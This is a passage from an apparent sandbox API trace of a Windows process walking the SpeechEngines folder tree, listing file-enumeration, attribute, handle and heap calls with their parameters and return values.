ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0244.740] GetLastError () returned 0x12 [0244.740] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.740] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.741] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0244.741] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.741] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0244.741] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0244.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0244.741] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0244.741] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.741] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0244.741] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.741] NtClose (Handle=0x1b8) returned 0x0 [0244.741] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0244.741] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0244.741] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0244.741] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.741] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0244.742] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.742] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0244.742] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0244.742] GetLastError () returned 0x12 [0244.742] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0244.742] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.742] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.742] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0244.742] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0244.763] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.763] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.764] NtClose (Handle=0x1b8) returned 0x0 [0244.764] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0244.764] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0244.764] GetLastError () returned 0x12 [0244.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0244.764] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.764] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0244.764] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0244.765] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.765] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.765] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.765] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.765] NtClose (Handle=0x1b8) returned 0x0 [0244.765] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.765] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.765] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.765] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0244.765] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.765] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0244.765] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.766] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.766] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0244.766] GetLastError () returned 0x12 [0244.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0244.766] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0244.767] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.767] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0244.767] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923628 [0244.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0244.767] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0244.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.767] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0244.767] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.767] NtClose (Handle=0x1b8) returned 0x0 [0244.767] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923628) returned 1 [0244.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.767] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923628 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x923520 [0244.768] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0244.768] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.768] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0244.768] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.768] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0244.768] RtlAllocateHeap 